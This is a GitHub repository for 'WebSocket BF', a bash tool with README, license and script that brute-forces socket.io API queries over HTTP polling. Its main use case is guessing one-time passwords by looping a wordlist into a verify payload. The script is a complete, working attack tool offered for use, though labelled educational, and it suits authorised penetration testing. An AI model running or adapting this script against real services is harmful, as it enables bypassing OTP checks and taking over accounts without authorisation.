├── .gitattributes ├── LICENSE ├── README.md ├── dict └── otp.zip └── src └── websocket_bf.sh /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Ivan Šincek 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WebSocket BF 2 | 3 | Brute force a REST API query through WebSocket. Based on cURL. 4 | 5 | Tweak this tool to fit your scenario by modifying HTTP request headers and/or query strings within the script. 6 | 7 | Tested on [socket.io](https://socket.io). 8 | 9 | Tested on Kali Linux v2021.2 (64-bit). 10 | 11 | Made for educational purposes. I hope it will help! 12 | 13 | ## How to Run 14 | 15 | Open your preferred console from [/src/](https://github.com/ivan-sincek/websocket-bf/tree/master/src) and run the commands shown below. 16 | 17 | Install required packages: 18 | 19 | ```fundamental 20 | apt-get -y install bc jq 21 | ``` 22 | 23 | Change file permissions: 24 | 25 | ```fundamental 26 | chmod +x websocket_bf.sh 27 | ``` 28 | 29 | Run the script: 30 | 31 | ```fundamental 32 | ./websocket_bf.sh 33 | ``` 34 | 35 | ## Usage 36 | 37 | ```fundamental 38 | WebSocket BF v1.9 ( github.com/ivan-sincek/websocket-bf ) 39 | 40 | --- Single request --- 41 | Usage: ./websocket_bf.sh -d domain -p payload [-t token ] 42 | Example: ./websocket_bf.sh -d https://example.com -p '42["verify","{\"otp\":\"1234\"}"]' [-t xxxxx.yyyyy.zzzzz] 43 | 44 | --- Brute force --- 45 | Usage: ./websocket_bf.sh -d domain -p payload -w wordlist [-t token ] 46 | Example: ./websocket_bf.sh -d https://example.com -p '42["verify","{\"otp\":\"\"}"]' -w all_numeric_four.txt [-t xxxxx.yyyyy.zzzzz] 47 | 48 | DESCRIPTION 49 | Brute force a REST API query through WebSocket 50 | DOMAIN 51 | Specify a target domain and protocol 52 | -d - https://example.com | https://192.168.1.10 | etc. 53 | PAYLOAD 54 | Specify a query/payload to brute force 55 | Make sure to enclose it in single quotes 56 | Mark the injection point with 57 | -p - '42["verify","{\"otp\":\"\"}"]' | etc. 58 | WORDLIST 59 | Specify a wordlist to use 60 | -w - all_numeric_four.txt | etc. 61 | TOKEN 62 | Specify a token to use 63 | -t - xxxxx.yyyyy.zzzzz | etc. 64 | ``` 65 | -------------------------------------------------------------------------------- /dict/otp.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ivan-sincek/websocket-bf/37a37f1afa3c6d440998e45548d8488fb5bdcb08/dict/otp.zip -------------------------------------------------------------------------------- /src/websocket_bf.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | start=$(date "+%s.%N") 4 | 5 | # -------------------------- INFO -------------------------- 6 | 7 | function basic () { 8 | proceed=false 9 | echo "WebSocket BF v1.9 ( github.com/ivan-sincek/websocket-bf )" 10 | echo "" 11 | echo "--- Single request ---" 12 | echo "Usage: ./websocket_bf.sh -d domain -p payload [-t token ]" 13 | echo "Example: ./websocket_bf.sh -d https://example.com -p '42[\"verify\",\"{\\\"otp\\\":\\\"1234\\\"}\"]' [-t xxxxx.yyyyy.zzzzz]" 14 | echo "" 15 | echo "--- Brute force ---" 16 | echo "Usage: ./websocket_bf.sh -d domain -p payload -w wordlist [-t token ]" 17 | echo "Example: ./websocket_bf.sh -d https://example.com -p '42[\"verify\",\"{\\\"otp\\\":\\\"\\\"}\"]' -w all_numeric_four.txt [-t xxxxx.yyyyy.zzzzz]" 18 | } 19 | 20 | function advanced () { 21 | basic 22 | echo "" 23 | echo "DESCRIPTION" 24 | echo " Brute force a REST API query through WebSocket" 25 | echo "DOMAIN" 26 | echo " Specify a target domain and protocol" 27 | echo " -d - https://example.com | https://192.168.1.10 | etc." 28 | echo "PAYLOAD" 29 | echo " Specify a query/payload to brute force" 30 | echo " Make sure to enclose it in single quotes" 31 | echo " Mark the injection point with " 32 | echo " -p - '42[\"verify\",\"{\\\"otp\\\":\\\"\\\"}\"]' | etc." 33 | echo "WORDLIST" 34 | echo " Specify a wordlist to use" 35 | echo " -w - all_numeric_four.txt | etc." 36 | echo "TOKEN" 37 | echo " Specify a token to use" 38 | echo " -t - xxxxx.yyyyy.zzzzz | etc." 39 | } 40 | 41 | # -------------------- VALIDATION BEGIN -------------------- 42 | 43 | # my own validation algorithm 44 | 45 | proceed=true 46 | 47 | # $1 (required) - message 48 | function echo_error () { 49 | echo "ERROR: ${1}" 1>&2 50 | } 51 | 52 | # $1 (required) - message 53 | # $2 (required) - help 54 | function error () { 55 | proceed=false 56 | echo_error "${1}" 57 | if [[ $2 == true ]]; then 58 | echo "Use -h for basic and --help for advanced info" 1>&2 59 | fi 60 | } 61 | 62 | declare -A args=([domain]="" [wordlist]="" [payload]="" [token]="") 63 | 64 | # $1 (required) - key 65 | # $2 (required) - value 66 | function validate () { 67 | if [[ ! -z $2 ]]; then 68 | if [[ $1 == "-d" && -z ${args[domain]} ]]; then 69 | args[domain]=$2 70 | elif [[ $1 == "-w" && -z ${args[wordlist]} ]]; then 71 | args[wordlist]=$2 72 | if [[ ! -e ${args[wordlist]} ]]; then 73 | error "Wordlist does not exists" 74 | elif [[ ! -r ${args[wordlist]} ]]; then 75 | error "Wordlist does not have read permission" 76 | elif [[ ! -s ${args[wordlist]} ]]; then 77 | error "Wordlist is empty" 78 | fi 79 | elif [[ $1 == "-p" && -z ${args[payload]} ]]; then 80 | args[payload]=$2 81 | elif [[ $1 == "-t" && -z ${args[token]} ]]; then 82 | args[token]=$2 83 | fi 84 | fi 85 | } 86 | 87 | # $1 (required) - argc 88 | # $2 (required) - args 89 | function check() { 90 | local argc=$1 91 | local -n args_ref=$2 92 | local count=0 93 | for key in ${!args_ref[@]}; do 94 | if [[ ! -z ${args_ref[$key]} ]]; then 95 | count=$((count + 1)) 96 | fi 97 | done 98 | echo $((argc - count == argc / 2)) 99 | } 100 | 101 | if [[ $# == 0 ]]; then 102 | advanced 103 | elif [[ $# == 1 ]]; then 104 | if [[ $1 == "-h" ]]; then 105 | basic 106 | elif [[ $1 == "--help" ]]; then 107 | advanced 108 | else 109 | error "Incorrect usage" true 110 | fi 111 | elif [[ $(($# % 2)) -eq 0 && $# -le $((${#args[@]} * 2)) ]]; then 112 | for key in $(seq 1 2 $#); do 113 | val=$((key + 1)) 114 | validate "${!key}" "${!val}" 115 | done 116 | if [[ -z ${args[domain]} || -z ${args[payload]} || $(check $# args) -eq false ]]; then 117 | error "Missing a mandatory option (-d, -p) and/or optional (-w, -t)" true 118 | fi 119 | else 120 | error "Incorrect usage" true 121 | fi 122 | 123 | # --------------------- VALIDATION END --------------------- 124 | 125 | # ----------------------- TASK BEGIN ----------------------- 126 | 127 | # $1 (required) - domain 128 | # $2 (optional) - token 129 | function get_sid () { 130 | # add/modify the HTTP request header and/or any other query parameters as necessary 131 | # EIO (required) - version of the Engine.IO protocol 132 | # transport (required) - transport being established 133 | curl -s -H "Connection: close" -H "Accept-Encoding: gzip, deflate" -H "Authorization: Bearer ${2:-null}" "${1}/socket.io/?EIO=3&transport=polling" | gunzip -c | grep -Po '(\{(?:[^\{\}]+|(?-1))+\})' | jq -r '.sid' 2>/dev/nul 134 | } 135 | 136 | # $1 (required) - domain 137 | # $2 (required) - sid 138 | # $3 (required) - payload 139 | # $4 (optional) - token 140 | function send_payload () { 141 | # add/modify the HTTP request header and/or any other query parameters as necessary 142 | # EIO (required) - version of the Engine.IO protocol 143 | # transport (required) - transport being established 144 | curl -s -H "Connection: close" -H "Accept-Encoding: gzip, deflate" -H "Authorization: Bearer ${4:-null}" "${1}/socket.io/?EIO=3&transport=polling&sid=${2}" --data "${3}" 145 | } 146 | 147 | # $1 (required) - domain 148 | # $2 (required) - sid 149 | # $3 (optional) - token 150 | function fetch_results () { 151 | # add/modify the HTTP request header and/or any other query parameters as necessary 152 | # EIO (required) - version of the Engine.IO protocol 153 | # transport (required) - transport being established 154 | curl -s -H "Connection: close" -H "Accept-Encoding: gzip, deflate" -H "Authorization: Bearer ${3:-null}" "${1}/socket.io/?EIO=3&transport=polling&sid=${2}" | gunzip -c 155 | } 156 | 157 | if [[ $proceed == true ]]; then 158 | echo "#############################################################" 159 | echo "# #" 160 | echo "# WebSocket BF v1.9 #" 161 | echo "# by Ivan Sincek #" 162 | echo "# #" 163 | echo "# Brute force a REST API query through WebSocket. #" 164 | echo "# GitHub repository at github.com/ivan-sincek/websocket-bf. #" 165 | echo "# #" 166 | echo "#############################################################" 167 | if [[ ! -z ${args[wordlist]} ]]; then 168 | count=0 169 | for entry in $(cat "${args[wordlist]}" | grep -Po '[^\s]+'); do 170 | count=$((count + 1)) 171 | sid=$(get_sid "${args[domain]}" "${args[token]}") 172 | echo "" 173 | echo "#${count} | entry: ${entry} | sid: ${sid:-failed}" 174 | if [[ ! -z $sid ]]; then 175 | echo "" 176 | data="${args[payload]///$entry}" 177 | data="${#data}:${data}" 178 | send_payload "${args[domain]}" "${sid}" "${data}" "${args[token]}" 179 | echo $(fetch_results "${args[domain]}" "${sid}" "${args[token]}") 180 | fi 181 | done 182 | else 183 | sid=$(get_sid "${args[domain]}" "${args[token]}") 184 | echo "" 185 | echo "sid: ${sid:-failed}" 186 | if [[ ! -z $sid ]]; then 187 | echo "" 188 | data="${#args[payload]}:${args[payload]}" 189 | send_payload "${args[domain]}" "${sid}" "${data}" "${args[token]}" 190 | echo $(fetch_results "${args[domain]}" "${sid}" "${args[token]}") 191 | fi 192 | fi 193 | end=$(date "+%s.%N") 194 | runtime=$(echo "${end} - ${start}" | bc -l) 195 | echo "" 196 | echo "Script has finished in ${runtime}" 197 | fi 198 | 199 | # ------------------------ TASK END ------------------------ 200 | --------------------------------------------------------------------------------